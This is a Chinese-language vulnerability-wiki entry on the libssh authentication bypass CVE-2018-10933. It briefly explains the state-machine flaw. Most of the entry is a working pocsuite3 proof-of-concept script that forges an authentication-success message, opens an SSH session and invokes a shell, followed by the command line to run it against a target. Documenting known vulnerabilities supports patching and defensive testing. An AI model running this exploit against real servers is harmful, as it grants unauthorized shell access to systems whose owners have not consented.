Vulnerability-wiki

libSSH Authentication Bypass Vulnerability (CVE-2018-10933)

CVE-2018-10933 是一个影响 libssh 的身份验证绕过漏洞,存在于 libssh 的服务器端状态机中,版本 0.7.6 和 0.8.4 之前的版本都受到此漏洞影响。攻击者可以利用这个漏洞在没有进行身份验证的情况下创建通道,从而获得未授权访问。


工作原理

攻击者可以在未进行身份验证的情况下直接创建 SSH 通道,绕过身份验证,获取对受影响系统的访问权限。该漏洞的根本原因是 libssh 在身份验证流程中的状态机处理不当,导致攻击者可以绕过认证直接建立连接。

请求示例:

from pocsuite3.api import Output, POCBase, register_poc, requests, logger, OptString
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD
from pocsuite3.lib.utils import random_str 
import paramiko
import socket

class CVE2018_10933_POC(POCBase):
    vulID = "CVE-2018-10933"
    author = ['zhb', 'tzh00203']
    name = "libSSH Authentication Bypass"
    desc = '''A vulnerability was found in libssh's server-side state machine before versions 0.7.6 and 0.8.4. A malicious client could create channels without first performing authentication, resulting in unauthorized access.'''
    reference = "https://www.exploit-db.com/exploits/45638/"

    def _options(self):
        # 定义用户输入的参数,port 是可选的,默认值为 22
        o = {
            'port': OptString(default='22', description='Port to connect to the target', require=False),
        }
        return o

    def _verify(self):
        hostname = self.target
        port = self.get_option('port')

        result = {}

        sock = socket.socket()
        try:
            sock.connect((str(hostname), int(port)))

            message = paramiko.message.Message()
            transport = paramiko.transport.Transport(sock)
            transport.start_client()
    
            message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
            transport._send_message(message)
        
            spawncmd = transport.open_session()
            spawncmd.invoke_shell()

            result['VerifyInfo'] = {}
            result['VerifyInfo']['Target'] = f"{hostname}:{port}"

        except paramiko.SSHException as e:
            # print("TCPForwarding disabled on remote/local server can't connect. Not Vulnerable")
            pass
        except socket.error:
            # print("Unable to connect.")
            pass

        return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output

    def _attack(self):
        return self._verify()

register_poc(CVE2018_10933_POC)

攻击示例与利用场景

1. 身份验证绕过

pocsuite -u target_ip:port -r CVE_poc

通过上述代码,攻击者可以绕过身份验证,直接创建一个 SSH 通道,进而获得未授权的访问权限。

效果:验证目标设备是否易受此漏洞影响,攻击者可以在目标设备上建立 SSH 通道,绕过身份验证。


参考资料


📝 作者:tzh00203 📧 邮箱tian-zh24@mails.tsinghua.edu.cn 🏫 单位:Tsinghua Uni. NISL 📅 最后更新时间:2024-08-04